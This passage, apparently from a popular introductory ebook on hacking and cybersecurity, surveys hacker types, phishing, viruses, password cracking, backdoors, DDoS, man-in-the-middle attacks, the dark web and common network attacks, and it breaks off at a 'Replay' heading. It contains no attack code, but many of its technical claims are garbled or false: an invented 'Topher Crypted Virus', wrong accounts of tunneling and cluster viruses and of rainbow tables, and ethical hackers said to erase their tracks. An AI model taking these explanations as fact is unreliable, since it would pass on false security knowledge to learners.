The term "hacking" has preconceived connotations, and most people don't completely understand the whole idea that goes into the hacking method. Hackers have a legendary reputation for that. Yet there's a hacking side that most people don't know about: ethical hacking. You don't hear about the ethical hacking coverage, but there are people out there with the same job description battling the malicious hackers every day, and they get the bad rep.

The well-known term "hacking" refers to attempts to obtain unauthorized access to data or the system. So, yes, technically, breaking into your ex's Instagram to read their DM's is a type of hacking, but the term applies to someone with technological expertise in the field of hacking. Humans not only try to obtain entry to accounts but also to deter someone else from obtaining unwanted access.

A History of Hacking

Hacking has been around since as early as the 1960s when, in 1961, a group of MIT students hacked their model trains hacking to modify their functions. That is where the term comes from. The term hacking is not even directly related to computers! Originally, hacking meant to explore and improve something.
In the 1970s, phone hackers, or "phackers," made their debut when they exploited phones' operational characteristics to gain access to free phone calls, although they were fairly rare. At the time, computer hackers were not yet popular because so few people had personal computers.

This changed in the 1980s when personal computer use gave birth to the first computer hackers. This is no surprise since there is always someone out there willing to mess with the product to their advantage when there's a product. Likewise, when there's someone to mess with the product, there is someone to protect it. The birth of computer hacking led to the birth of ethical hacking as well. The '80s was the decade we first saw hackers breaking into systems to use them for personal gain. This new type of crime naturally called for new legislation. In 1986, the Federal Computer Fraud and Abuse Act were first written. The Act made it a crime for anyone to access a computer used by a financial institution, a government agency, or any organization involved in foreign commerce or communication. This was mainly prompted by the increase in PC use by the general public.

The 1990s were marked by the first high-profile arrests related to hacking. Kevin Mitnick, Kevin Poulsen, Robert Morris, and Vladimir Levin were among the first to get arrested for stealing property software and leading digital heists. This was also when the term crackers, meaning those that "crack" into digital encryption codes (e.g., passwords and such), began to be used.

During the late 2000s, the hacking of major companies like eBay, Amazon, and Microsoft often dominated the headlines. This was particularly true when news broke in early 2000 that 15-year-old Jonathon James had breached the International Space Station's system.

Digital malware has been more advanced than ever before. Hacktivists, ransomware, and highly sensitive document leaks are a constant issue. In modern times, more than ever, ethical hackers are required to defend and avoid hack attacks. The details open to everyone make hack attacks all the easier, but it doesn't matter.
It also makes safety affordable.

Hacking is not always black and white, and there are various types of hackers and different types of hacking. Major types of hackers are split between legal, unethical, and in between.

**Ethical Hacker**

In real-world examples, you would call an ethical hacker the firefighter of the group; they put out fires and save innocent lives. More frequently, they are employed by a government or a law agency to protect data and deal with any harm caused to individuals or companies. A small business can hire an ethical hacker to protect the company’s data used maliciously or attacked by a malicious hacker.

**Unethical Hacker - The Cracker**

The unethical hacker, also known as the cracker, is the criminal that gets his information and assets illegally by getting into a device without the owner’s knowledge or consent. The intent of this hacking is malicious. This type of hacker causes financial harm, steals confidential data, embezzles funds, disrupts businesses, and spreads incorrect data, among other things.

**The Grey Hat**

Then, the hacker isn't completely ethical or unethical; he's the person who steals to feed the poor. He falls in the gray area between the two other types of hackers. This gray area is where the name grey hat stems from. An example of a grey hat hacker would be a hacker hired to protect a particular database and then uses that access to confidential data for personal gain. You may not consider them criminals, but they won't be getting any medals soon. Then you have your "hacktivists," groups such as Anonymous, that use hacking for political and social messages. Finally, there are the "kiddies" or non-skilled people who use already-made tools to access systems. This is when you guess someone’s Facebook password because you want to
see if they were where they said they were last night.

**Types of Hacking**

As you can tell, hacking isn't as simple as guessing someone's password and logging into their accounts. There are actually numerous types of hacking that you need to be familiar with.

**Phishing**

The concept of phishing comes from the everyday activity of fishing. These hacks use email or sometimes phone to pose as legitimate institutions to obtain important information that can hurt an individual or a business. Hence, they throw the hook to "fish" for a victim. This usually works by first telling the victim they're a trusted organization, asking for confidential data.

The first phishing lawsuit was filed in 2004 against a Californian teenager who created a copy of the website called "America Online," where he retrieved credit card information from visitors. One of the first and most popular phishing emails was the infamous "Nigerian Prince" email, an email from a "prince" who was stuck and needed your help to get back to his millions. Today, most of us don't fall for the Nigerian Prince scam, but phishing is still alive and a problem for millions of internet users. The prevalent phishing -emails are mostly easy to spot. They share a sense of urgency, unusual sender, and suspicious hyperlinks. It is when a website is copied and looks like the real thing that things can get complicated. Banking websites can often be phishing targets because of their extensive access to credit card numbers and sensitive information.

**Virus**

The purpose of a virus is to corrupt resources on websites. Like in a human body, the virus can change forms, corrupt the "healthy" programs, and self-propagate. And just like in with us, there are plenty of viruses that can attack your malware.
Topher Crypted Virus is one of the most dangerous types of viruses because of its ability to completely take over the computer, leading to the spread of further viruses. A famous example of a Topher Crypted is the Trojan Virus.

Metamorphic Virus can write, rewrite, and edit its own code. It is the most infectious virus, and it can damage the computer and data if not detected early.

Polymorphic Virus is similar to a metamorphic virus, but it copies itself; where the metamorphic virus can rewrite its code, the polymorphic just copies its original code with slight modifications.

Macro Virus is written in the same language as software programs such as Microsoft Word or Excel. It starts an automatic sequence of actions every time the application is opened.

Cluster Virus makes it appear as though every program in the system is affected when, in fact, it is only in the one program in the system. It causes the illusion of a cluster and can be removed by figuring out the virus's original "carrier."

Tunneling Virus works against antiviruses. It sits in the background and sits under the antivirus. When an antivirus detects a virus, the antivirus will re-install itself only to install itself as the tunneling viruses.

Stealth Virus uses its mechanism to avoid any detection by antiviruses. The stealth virus will hide in the memory and hide any changes it has made to any files.

Extension Virus will hide in a website or browser extension and create changes through there.

**Cookie Theft**

Cookies are files stored on your computer used by your browser to save useful information about the websites you visit or any actions you
take. Session cookies are temporary and erased once you close your browser. Certain cookies persist in your browser until you erase them or expire (which could take years). These are called persistent cookies.

Websites use cookies to modify your browsing experience to make it tailored to your needs as well as for proper ad placement. Cookie thefts are used by hackers to gain access to that information. Cookies are one of the most natural methods of hacking, they can be stolen through public Wi-Fi networks!

**UI Redress**

UI redress, also called clickjacking, is masking a click to gain clicks for a different website. A user could think they are clicking on a straightforward link, but they will be redirected to a completely different website due to clickjacking. The hacker is "hijacking" clicks. This can get out of control quickly as users will click links that say things such as "win a free vacation," They will be redirected to a sharing page, causing the clickjacking to spread massively over social media or email.

**DNS Spoofing**

Domain name server spoofing is an attack in which the domain name is taken over by redirecting the clicks to a fraudulent website. Once there, the users are led to believe they are logging in with their account names and passwords into the original website. Still, in reality, they are giving away their information to the hacker performing the DNS spoofing. There are a few methods to perform DNS spoofings, such as Man in the Middle (where interaction among the server and user is sidetracked) or DNS server compromise (where the server is directly attacked).

The above examples are all hacking types used by malicious hackers, but ethical hacking also works with them. To prevent and "heal" these attacks, ethical hackers must know how they work, and this is why ethical hackers have to be educated on all the types and methods of
hacking used.

Becoming a hacker takes skill, and the ironic part is that both unethical and ethical hackers will use the same education and tools. The only difference is that one will use their "powers" for evil and the other for good (or something in between). It's like a modern-day equivalent of the classic superhero-villain duo Batman and Joker. To be a successful ethical hacker, you have to understand malicious hacking as well.

Phases of Ethical Hacking

When it comes to ethical hacking, there are generally five distinct phases:

Reconnaissance - The process of information gathering. In this phase, the hacker gathers relevant information regarding the targeted system. These are things such as detecting services, IP configurations, pc specifications, and password data. The hacker gathers all the information possible (the network, the host, the people involved, etc.).

Scanning - The hacker begins to actively probe the target machine or network for vulnerabilities that can be actively exploited.

Gaining Access - This is one of the essential parts. In this phase, the vulnerability detected during scanning is exploited using various methods—the same methods a malicious hacker might use. Still, the ethical hacker will use this to know the weak spots of entry. The hacker will try to enter the target system without raising any alarms.

Maintaining Access - Once a hacker has gained access, you want to maintain that access. In malicious hacking, this is used to gain access to the system so you can exploit and attack, while in ethical hacking, this phase is used to have access to the system you want to protect.

Clearing Tracks - Finally, a malicious hacker wants to cover their tracks not to be discovered by security. In contrast, an ethical hacker wants to cover their tracks so as not to be discovered by an unethical
hacker. The process remains absolutely the same. A hacker can cover his tracks using tunneling protocols or altering log files.

As we can see, hacking is a much different term than movies like Hackers with Angelina Jolie make us believe. While it does look cool to smash a keyboard violently for hours, you must have an education and intelligence to become a hacker. You also have to have a specific dose of street smarts if you want to work as an ethical hacker because you have to predict the opponent's next move before they make it. It's a mixture of chess and war, an art form of its own.
Chapter Two:

How It Works & How to Get Away with It

To completely understand how hacking works would take a lot more than a chapter. Hacking is not exactly a skill that can be taught by reading about it; it is more of a hands-on occupation perfected by time and practice with an inventive mind and a dash of a mischievous spirit.

Hackers work with the computer or program code, a set of instructions that work in the background, and make up the software. At the same time, many hackers know how to program code, many downloads, and use codes programmed by other people. The main requirement to know is how to work this code and adjust it to their advantage. For malicious hackers who can use it to steal passwords, secrets, identities, financial information, or create so much traffic, the targeted website needs to shut down.

Stealing Passwords

Passwords are easy to hack because humans are very predictable. We think we are unique until it comes to passwords, but we are very easy to guess. For example, women will often use personal names for passwords—think kids, relatives, old flings—while men will stick to hobbies. The numbers we use most frequently are 1 and 2, and they are most often placed at the end of our password. More often than not, we use one word followed by some number, and if the website insists on including a capital letter, we place it at the beginning of the word and then whine about how this website is so annoying for making us go through all of this.

But how do hackers access our passwords? Well, there are several
useful techniques.

The trial and error technique is called the brute force attack, and it is when you try possible combinations of letters and words to try and guess the right password. This can work because, as previously mentioned, we are very predictable when it comes to the type of passwords we use.

Another similar technique is called the dictionary attack; hackers use a file containing all the words found in the dictionary, and the program tries them all. This is why it is often suggested to add numbers to your passwords as words, but this doesn’t mean your "sunshine22" password is hackerproof.

A third technique is the rainbow table attack. The passwords in your computer system are hashed (generated into a value or values from a string of text using a mathematical function) in encryption. Whenever a user enters a password, it is compared to an already stored value, and if those match, you can enter into the website or application. Since more text can produce the same value, it doesn’t matter what letters we input as long as the encryption is the same. Think of it as a door and a key. You enter the doors with the key made for that lock, but if you’re skilled at lock picking or a locksmith, you don’t need that exact key to enter.

How to Protect Yourself from Password Attacks

Use the salt technique. This refers to adding simple random data to the input of a hash function. The process of combining a password with a salt, which we then hash, is called salting. For example, a password can be "sunshine22", but adding the salt is e34f8 (combining sunshine22 with e34f8) makes your hash-stored, new salted password "sunshine22e34f8." The new salted password is thus hashed into the system and saved into the database.

Adding the salt just lowered the probability that the hash value will be found in any pre-calculated table. If you are a website owner, adding salt to each user's password creates a much more complicated and costly operation for hackers. They need to generate a pre-calculated
table for each salted password individually, making the process tedious and slow.

Even with the salt technique, determined hackers can pass through the "password salting." Another useful technique is the peppering technique. Just like salt, pepper is a unique value. Pepper is different than salt because salt is unique for each user, but pepper is for everyone in the database. Pepper is not stored in the database; it's a secret value. Pepper means adding another extra value for storing passwords.

For example, let's say the pepper is the letter R. If the stored password is "sunshine22," the hash stored will be the hashed product of "sunshine22" with the added letter R. When the user logs in, the password they are giving is still "sunshine22," but the added pepper is storing "sunshine22" with the added R. The user has no knowledge that pepper is being used. The website will then cycle through every possible combination of peppers, and by taking upper and lowercase letters, there will be over 50 new combinations. The website will try hashing "sunshine22A," "sunshine22B," and so on until it reaches "sunshine22R." If one of the hashes matches the stored hash, then the user is allowed to log in. The whole point is that the pepper is not stored, so if the hacker wants to crack the password with a rainbow table or dictionary attack, it will take them over 50 times longer to crack a single password.

**Phishing Attacks**

The easiest way to get someone's password is to ask them. After all, why bother with all the algorithms and cracking codes when you can just politely ask?

Phishing is often a promise of a prize if you click on a certain link that then takes you to a fake login page where you simply put in your password. The easiest way to defend from this is smart clicking or not clicking on scammy pop-up ads.

Vacations and iPods are not just given away with a click, and "you won't believe what happened next" is a sure sign of a clickbait leading
to phishing.

Miracle weight loss pills, enlargement tools, singles waiting to meet you in the area, and other luxurious life promises with just one click are all phishing. Unfortunately, we have to work for money and workout for weight loss.

**Back Door Attacks**

Imagine you’re going to a concert, but you don’t have a ticket. You see the line of people all with their purchased tickets waiting to get through security. You see cameras pointing at the front door and a few extra security guards guarding the sides. You don’t have a ticket or the money to buy one. Then, you see a little unguarded, dark, hidden alley with no cameras and the back door. The doors that lead to the venue. They are unlocked, and there are no security or cameras around. Would you go through the door? That’s the concept behind a backdoor attack.

How do backdoors even end up on our computers? Well, they can end up there intentionally by the manufacturer; this is built-in, so they can easily test out the bugs and quickly move in the applications as they are being tested.

The back door can also be built by malware. The classic backdoor malware is the infamous Trojan. Trojan subtly sneaks up on our computer and opens the back door for the people using the malware. The malware can be hidden into anything—a free file converter, a PDF file, a torrent, or anything you are downloading into your computer. Of course, the chances are higher when what you’re downloading is a free copy of an otherwise paid product (lesson to be learned here). Trojans have an ability to replicate, and before you know it, your computer is infected with malware that is opening a backdoor for the whole line up to come in to see the show for free.

The back door can be used to infiltrate your system not only for passwords but also for spying, ransomware, and all kinds of other malicious hacking.
How to Protect Yourself from Back Door Attacks

Choose applications, downloads, and plugins carefully; free apps and plugins are a fantastic thing, but YouTube to MP3 converters, torrents of the latest Game of Thrones season, and a copy of Photoshop might not be the best option if you're interested in keeping your passwords safe. Android users should stick to Google Play apps, and Mac users should stick with the Apple store. Track app permissions, too, and be sure to read, at least a little, before you sign your life away to a third-grade flashlight application.

You can also try:

Monitoring network activity - Use firewalls and track your data usage. Any data usage spike is a sure sign of backdoor activity.

Changing your default passwords - When a website assigns a default password, we may find that we are just too lazy to take the 30 seconds necessary to change it. Just do it. You might not be locking the back door with the latest state-of-the-art security system, but at least you are not keeping them wide open with a neon sign pointing to your password. Freckles might be your puppy, but he can't be a password for everything. A common complaint is, "I will forget it." Write it down. Contrary to popular belief, hackers won't go into your house and search for that piece of paper, but they will go into your computer. Which option seems safer?

Zombie Computers for Distributed Denial of Service (DDoS) Attacks

Sounds extremely cool, right? Well, it's not. Basically, a computer becomes a zombie computer when a hacker infiltrates it and controls it to do illegal activities. The best part (for the hacker, not for you) is that you are completely unaware that all this is happening. You will still use it normally, though it might significantly slow down. And then, all of a sudden, your computer will begin to send out massive spam emails or social media posts that you have nothing to do with. DDoS attacks are lovely (for the hacker, not for you) because they work on multiple computers at once, and the numbers can go into millions. A
million zombie computers are mindlessly wandering around the internet, spamming everything in sight, infecting other computers. The version where your computer is infected only to send out spam is the light version. DDoS attacks can also be used for criminal activity, and this is why it is important to prevent them.

How to Protect from DDoS Attacks

Larger scale businesses require more substantial protection against DDoS attacks, and we will go over that in detail, but even for individuals, half of the protection is prevention.

Understand the warning signs—slowed down computers, spotty connections, or website shutdowns are all signs of a DDoS attack taking place.

What Can You Do?

Have more bandwidth - This ensures you have enough bandwidth to deal with massive spikes in traffic that can be caused by malicious activity.

Use anti-DDoS hardware and software modules - Protect your servers with network and web application firewalls. Hardware vendors can add software protection by monitoring how incomplete connections and specific software modules can be added to the web server software to provide DDoS protection.

Smart clicking - This should go without saying, but for those in need of hearing it—pop-up ads with a "No, thanks" button are hateful little things. Just exit the website, don't click anything on that ad, especially not the "No, thanks," button, or you will instantly activate an annoying download, and now your computer is a zombie.

Man in the Middle

When you're online, your computer does little back-and-forth transactions. You click a link, and your computer lets the servers around the world know you are requesting access to this website. The servers then receive the message and grant you access to the requested
website. This all happens in nanoseconds, and we don’t think much about it. That nanosecond moment between your computer and the webserver is given a session ID that is unique and private to your computer and the webserver. However, a hacker can hijack this session and pretend to be the computer and, as such, gain access to usernames and passwords. He becomes the man in the middle, hijacking your sessions for information.

How to Protect Yourself from the Man in the Middle

Efficient antivirus and up-to-date software go a long way in preventing hijacking, but there are a couple of other tips that can help you prevent becoming a victim.

Use a virtual private network - A VPN is a private, encrypted network that acts as a private tunnel and severely limits the hacker’s access to your information. Express VPN can also mask your location, allowing you to surf the web anonymously wherever you are.

Firewalls and penetration testing tools - Secure your network with active firewalls and penetration testing tools.

Plugins - Use only trusted plugins from credible sources and with good ratings.

Secure your communications - Use two-step verification programs and alerts when someone signs in to your account from a different computer.

Root Access

Root access is an authorization to access any command specific to Unix, Linux, and Linux-like systems. This gives the hacker complete control over the system. Root access is granted with a well-designed rootkit software. A quality designed rootkit software will access everything and hide traces of any presence. This is possible in all Unix-like systems because they are designed with a tree-like structure in which all the units branch off into one root.

The original Unix operating system was designed in a time before the
personal computer existed when all the computers were connected to one mainframe computer through very simple terminals. It was necessary to have one large, strong mainframe for separating and protecting files while the users simultaneously used the system.

Hackers obtain root access by gaining privileged access with a rootkit. Access can be granted through passwords; password protection is a significant component in restricting unwanted root access. The rootkit can also be installed automatically through a malicious download. Dealing with rootkit can be difficult and expensive, so it's better to stay protected and keep the possibility of root access attacks to the minimum.

How to Protect Yourself from Root Access Attacks

Quality antivirus software is one of the standard things recommended in all computers, be it for individuals or businesses. Quality antivirus helps the system hardening making it harder for the installation of rootkits.

Principle of least privilege - PoLP is the idea that any program or a user should have only the minimum privileges necessary to perform the program's function. Giving only the bare minimum privilege that a program needs to perform allows for better protection from possible attacks. For example, in a business, a user whose only job is to answer emails should only be given access to the emails. If there is an attack on the user's computer, it can't spread far because the person only has access to email. If said person has root access privilege, the attack will spread system-wide.

Disable root login - Servers on most Unix and Linux operating systems come with an option for the root login. Using root login allows for much easier root access, and if you pair it with a weak password, you are walking on a thin line. Disabling the option for root access keeps all the users away from the root login temptation.

Block brute forces - Some programs will block suspicious IP addresses for you. They will detect malicious IP and prevent attacks. While manually detecting is the safest way, it can be a long process;
programs that are designed to block malicious IPs can drastically save time and help prevent root access attacks.

The best way to protect yourself from hack attacks is through prevention because the alternative can be lengthy, exhausting, and costly. In the following chapter, we will go into detail about cybersecurity and exactly how you can prevent all the possible attacks on your system.
Chapter Three:

What Is Cybersecurity

Computer technology has evolved in unimaginable sophistication and innovation ever since its inception. The majority of the advancements, reach, and power of the internet has aided information technology's popularity. Today, almost any industry or individual uses computer systems and networks for some purpose or another.

The measures are taken to protect computer systems, networks, and devices against cyber-attacks are categorized as cybersecurity. Although computer technology has evolved leaps and bounds, the same can’t be said about cybersecurity.

Cyber-attacks have become increasingly complex and deceptive, with highly skilled cyber-criminals dedicating enormous amounts of time, resources, and energy into launching serious cyber-attacks. However, the means for protecting individuals and organizations from such attacks have been slow to catch up.

Various security measures are discussed at length, including the proper use of passwords and PINs, creating routine back-ups, practicing caution when connecting to public networks, and much more. The discussion also includes putting those countermeasures into effect without affecting one's lifestyle, productivity, and budget.

The internet has transformed the way corporations conduct business. Computers and networks have changed many business processes from manufacturing, operations, communications to finance, distribution, marketing, and customer service. It is common to find the presence of computer systems and the internet in almost all processes related to businesses in one way or another.

The advancements in computer technology, cheaper hardware, and
the popularity of the internet have paved the way for the next big thing in technology: The Internet of Things. Objects that used to be "dumb" and needed human intervention have been made "smart" by giving such objects the ability to collect and transmit data and respond to remote commands. The Internet of Things is predicted to continue to grow rapidly while changing humans' daily lives and the operations of businesses.

IoT devices connect to the internet to perform their duties. As a result, they have been targeted by cyber-attacks with varying motives. The fact that IoT is a relatively novel technology means that IoT devices are yet to be equipped with cybersecurity measures that computers feature. Furthermore, IoT devices are used to carry out demanding duties, including access control and aiding in healthcare.

**What is Cyber Security?**

The protection of a computer system or network from adverse effects such as theft or damages to the computer hardware, software, data, or the services provided by those elements is known as cybersecurity. Cybersecurity is also known as Computer Security and IT Security (Information Technology Security). Cybersecurity has fast evolved over the years due to the rapid increase in the use and reliance on the internet, computers, and wireless networks.

The use of devices that are also prone to cyber-attacks, such as smart mobile phones, smart televisions, and devices falling under the category of the "Internet of Things" (IoT), has also contributed to the need for the rapid evolution of cybersecurity. The technology and politics surrounding the use of the internet, computers, networks, and smart devices are complex that pose many challenges to the world of cybersecurity.

Due to the fast-changing nature of technology and other factors, cybersecurity is always evolving. Cybersecurity approaches, tools, risk management methods, technologies, best practices, and training are always changing as a result. Cybersecurity threats also advance with the evolution of technology and the use of devices, software, and networks prone to those threats. Many organizations and even
individuals put high levels of cybersecurity emphasis on protecting their valuable hardware, software, data, services, and organizational objectives.

Cybersecurity has been a huge focus for businesses due to the risk of data breaches that can cripple them in many ways. Such breaches often lead to the loss of highly sensitive data that costs companies their revenues, competitive advantage, reputation, and consumer trust. A data breach is expected to cost a company around $3.6 million, making data security a high priority for any organization.

**Cyber Attacks and Vulnerabilities**

A weakness in the design, implementation, internal control, or the operations of a computer, hardware, smart device, software, or network results in exposure to cyber-attacks. The Common Vulnerabilities and Exposures is a database that documents such known vulnerabilities to cyber threats. At least one active attack or an exploit that exists is called an exploitable vulnerability. Various manual and automated tools are used to identify vulnerabilities to cyber-attacks.

When it comes to computers and networks, attacks largely attempt to expose, disable, alter, steal, destroy, or gain access to the use of assets. Any such offensive maneuver that tries to target computer systems, networks, infrastructures, and personal devices can be called a cyber-attack. A cyber-attack can be carried out by a single individual or a group with malicious intent putting hardware, data, and functionalities at risk.

Cyber-attacks can be categorized as cyber warfare or cyberterrorism, depending on the nature of the attack and its threat. Furthermore, cyber-attacks can be carried out by various societies and sovereign states operating in anonymity. During a cyberattack, susceptible systems and devices are hacked into while achieving the attacker's malicious intents or the attackers. A cyberattack scale may also vary from a single computer, device, individual, or company to the primary target to infrastructures of entire nations.

**Information Security Culture**
The behavior of employees plays a key role in establishing cybersecurity in companies. Changes and improvements to a company's culture and practices can help employees effectively achieve information security. Employees sometimes do not realize that they are an integral part of a company's effort to achieve satisfactory cybersecurity levels. Their actions may sometimes not align with the company's cybersecurity goals as a result.

A company should continuously improve its information security culture while making sure that employees understand the role they need to play. The process is never-ending with an ongoing cycle of change, evaluation, and maintenance. The five steps involved in managing a company's information security culture are pre-evaluation, strategic planning, operative planning, implementing, and post-evaluation.

Pre-evaluation brings awareness regarding the company's current information security culture and policy while highlighting behavior that might make it vulnerable to cyber threats. The next step in the process is strategic planning, then creating a program towards increasing awareness with a clear target to achieve as a company. Operative planning involves working towards a better culture by improving internal communication, security awareness, and training.

Implementing is a step that consists of four phases: the commitment of management, communication with employees, providing courses for employees, and the employees' commitment. Managers first commit to implementing better information security practices within the company and then communicates the company's intentions to the employees. Then the employees are provided with education and training regarding information security.

Finally, the employees of the company committed to bringing about an improved and satisfactory information security culture. The final step, which is Post-Evaluation, assesses how well the planning and implementation went and identifies any areas that remain to be unresolved.

Systems That Are Vulnerable to Cyber-Attacks
The number of individuals, businesses, and organizations relying on computer systems has grown rapidly. It has resulted in increasing the number of systems that are at risk of cyber-attacks. Such vulnerable entities are scattered across various industries, with almost all industries being vulnerable at different levels.

**Financial Systems**
Computer systems belonging to financial institutions and regulators have a high risk of being targeted by hackers. The U.S. Securities and Exchange Commission, investment banks, and commercial banks are prime targets of hackers seeking illicit gains and market manipulation. Furthermore, any website or mobile application that stores or accepts credit card numbers, bank account information, and brokerage accounts is also at the risk of being hacked.

Hackers and hacker groups take a high interest in attacking such institutions’ networks and websites since they can enjoy immediate financial spoils by making purchases, transferring money, and selling acquired data to interested parties in the black market. ATMs and in-store payment systems have also been targeted by hackers who aim to gather customer PIN codes and account details.

**Dark Web**
The dark web sounds scary and almost sends shivers down the spine of most people. The dark web is well-known for harboring illegal activity that many people don’t want to engage in. The question starts spinning in our heads that if the dark web is a place for illegal activity, then why does it exist in the first place, and who allows it to run without any restrictions. Is there any purpose behind the existence and flourishing of the dark web, or is the place being handled by a strong bunch of lot? There are three major parts of the internet known as the surface web, deep web, and dark web. Let me discuss each type individually and in detail.

The surface web consists of around ten percent of the entire internet, including things such as Google and other search engines. You can use keywords to search for different things to read, sell, or buy. Then comes the deep web that is the place where you can store the information that is unavailable to most users. This includes things that
you have protected by a password, such as a bank account, subscription services, and certain medical information. A majority of the webspace consists of this type of information. The third spot belongs to the dark web that is not accessible by a standard internet user. You cannot access this webspace through Firefox, Opera, and Google Chrome, and it can have any information. The word dark is attributed to this web space because of its limited accessibility.

You might be wondering if the dark web is completely illegal for a common user. Thankfully, the answer is no. Mere entering the dark web doesn't count as an illegal activity, but what you do on the dark web can be categorized as legal or illegal. You can access the dark web through Tor anonymous browser. You can download it just like Google Chrome and Firefox. The difference is that it works differently. You have to travel through different overlay networks when you are using Tor or The Onion Router. Just like an onion, it has several layers to pass through. The speed of Tor is usually slower than other browsers. If you can access to a Virtual Private Network, it's wise to ensure optimum security.

To clear the longstanding confusion, Tor is not a dark web but a tool to access the dark web. Also, Tor can be used to access general webspace such as Google and Yahoo, and your travel through the surface web will be more secure. Rather than a place for illegal activities, the dark web is considered a place for a high online privacy level. You can buy illegal drugs through on the dark web and get them delivered to your postal address without giving anyone a hint as to what was in the package. The ultimate objective to achieve by using the dark web depends on what you need, whether you are ready to take the risk of committing an illegal act.

For residents of countries such as Iran, where the government control over the internet is touching extreme levels, the dark web becomes a necessity. Residents from these countries access Facebook and Twitter through the dark web. They log into their onion versions that have been officially launched for users who are subjected to censorship.
Chapter Four:

Common Cyberattacks

Cyberattacks are getting highly sophisticated as hackers are coming up with the latest and innovative methods to stage an attack and threaten different computer networks' security. The attacks are getting so much sophisticated that they are getting tougher to detect. Consequently, the attacks are getting more lethal than they were ever before.

Cybersecurity doesn’t depend on the size of your organization. Whether you have a start-up business or a multimillion-dollar company, you should be able to be aware of how risky a cyberattack can be. The rise of cyberattacks gives room to the question of why do hackers attack cyberspace? What is the motivation behind such heinous attacks? A general perception is that financial gain drives them to stage high profile cyberattacks on big corporations' computer systems. Some also do that for espionage purposes. This chapter will shed light on hackers' motivations on their backs to penetrate an individual computer or an enterprise computer.

Most of the time, the attack is a kind of breach that aims at infiltrating the credit and debit card details. This information is then sold on the dark web later to bag heavy profit. The story doesn’t end here. In a majority of cases, profit is just a smokescreen to hide something bigger and deeper.

Espionage is also linked to a breach of data of a corporation or an official website of a country. These kinds of attacks typically are aimed at retrieving information from the victim. Many things remain the same when it comes to espionage through a cyberattack, including monitoring communication running on cyberspace. There is another popular technique in espionage known as stealing secrets. Earlier on, this task came into the domain of individuals who physically
penetrated the space and compromised certain assets found inside the organization. To give you a taste of how it all happened, I'll state an example from Hollywood. If you are an admirer of Tom Cruise and his spy thrillers, you might for sure be acquainted with the character of Ethan, who was always on some kind of mission to infiltrate a facility and steal some important documents that could turn the tables on the bad guys. Spy is the word that they use for such kind of person. Nowadays, things are different. There is hardly anything left in the physical domain. The craft of stealing an important bunch of information is more about being electric. Computers have the capacity to consume billions of files that were once stored in the company's ledgers and on loads of papers.

An offensive action targeting computer systems, networks, infrastructures, or personal devices to alter, steal, or destroy data and computer systems is called a cyber-attack. Although each cyber-attack is different, many similarities exist, such as the approach and strategy used. Many criminals who launch cyber-attacks use hacking techniques that have proven successful in the past while considering the nature of the target and the attack. In this chapter, various types of cyber-attacks are discussed in depth while also shedding light on the damages they usually cause.

Denial-of-Service (DoS) & Distributed Denial-of-Service (DDoS) Cyber-Attacks

A DoS attack attacks computer systems by overwhelming their resources that affect computer systems' ability to respond to service requests. Similarly, a DDoS attack overwhelms a computer system's resources. However, a DDoS attack is launched using multiple host computers infected by the attacker with malicious software.

Unlike many cyber-attacks, Denial-of-Service attacks do not offer attackers direct benefits by increasing or gaining access to a computer system and its data. Service denial is the purpose of a DoS or DDoS attack instead of control or data theft. Some businesses use Denial-of-Service attacks to interfere with the services provided by their competitors. Furthermore, DoS or DDoS attacks are also used to cause
system downtime so that the particular system can be attacked once it's offline.

**TCP SYN Flood Attacks**

Attackers utilize the buffer space in the Transmission Control Protocol or TCP session initialization handshake in this type of attack. The target system is flooded with connection requests by the attacker's device. However, the attacker's device does not respond to the target system's replies to its requests. As a result, the target computer system times out upon waiting for responses from the attacker's device, leading it to become unusable or even crash due to the filling up of connection queues.

**Smurf Attacks**

The target network is saturated with traffic by the attackers using ICMP and IP spoofing in a Smurf attack. ICMP echo requests are used in this method directed at broadcast IP addresses. The attacker creates spoofed ICMP echo requests from a spoofed IP address giving the broadcast IP addresses the impression that the target victim is sending the request.

Multiple requests are sent to broadcast IP addresses, and the target address receives multiple responses that overwhelm it. Spoofed ICMP echo requests are automated and generated in bulk by the attacker, causing serious network congestion that forces the target network to deny services.

**Ping-of-Death Attacks**

The maximum size of an IP allowed is limited to 65,535 bytes. The attackers use fragmented IP packets resembling the target system. These IP packets cause crashes and buffer overflows, disrupting the services provided by the target computer network. However, Ping-of-Death attacks can be successfully overcome using a firewall that makes sure any fragmented IP packet meets the maximum size allowed.

**Botnets**
Hackers infect millions of systems and gain control over them to be used as bots to launch DDoS attacks. The target system or network is attacked using these bots or zombie systems under the control of the attacker. Attackers often use botnets to overwhelm the bandwidth of the target system and its processing capabilities. DDoS attacks are usually difficult to trace since they use infected bots or computer systems located in numerous geographic locations.

**Phishing Attacks**

These cyber-attacks are carried out by sending highly realistic emails that seem to be from trustworthy sources to gain sensitive personal information from the receivers or influence them to carry out an action the attackers desire. Therefore, phishing is a combination of technical trickery and social engineering. Emails sent out by attackers may include attachments loaded with malware that infect computers upon the receiver opening or downloading them. Some phishing emails include links to websites that trick receivers into downloading or installing malware or submitting their personal information.

Spear phishing is an addressed form of phishing that involves attackers undertaking detailed research into targets to produce messages that tend to be important and personal. Spear phishing, as a result, is difficult to identify with many receivers failing to defend their computers and networks against attacks. A common yet simple method utilized by the hackers in spear-phishing is spoofing the "From" section of an email, giving it the appearance that it has been sent from someone that the target knows, such as a coworker or the management of their company.

Spear phishing attackers also add credibility to their attempts by cloning websites. The practice involves copying legitimate websites to mislead the target so that they attempt to enter the cloned website by submitting their sensitive information such as usernames and passwords that the attackers later used to gain entry to the account of the target on the legitimate website.

One of the simplest ways to counter phishing is by using critical thinking. Carefully inspecting emails and the email address of the
sender is usually sufficient to identify a phishing attempt. If a suspicious email includes links, the user can simply hover the mouse over the link without clicking it to inspect the URL that the link is directing to. Email headers such as "Reply-to" also help identify phishing emails since they directly lead to the sender's email that can then be easily inspected. Furthermore, links and attachments contained within an email can be safely inspected in a Sandbox environment.

**Man-in-the-Middle (MitM) Attacks**

These attacks place the attacker between clients and servers' communication, enabling them to interfere and tamper with those communications, including requests and responses. Various types of MitM cyber-attacks exist.

**Session Hijacking**

Attackers launch these attacks by hijacking sessions between trusted clients and network servers. The attacking computer uses the trusted client's IP address while the server proceeds with the session under the impression that it is communicating with the client. This confusion caused by the attack enables the attacker to communicate with the server and carry out their intentions without the actual client or the server being aware of what is happening.

**IP Spoofing**

Attackers mislead systems by using spoofed IP addresses to gain access to a system. The system believes that it's communicating with a trusted entity due to the spoofed IP address. IP packets are used to send the spoofed IP source addresses to target hosts that accept and respond to the attacker's requests in some environments with poor cybersecurity measures.

**Replay**

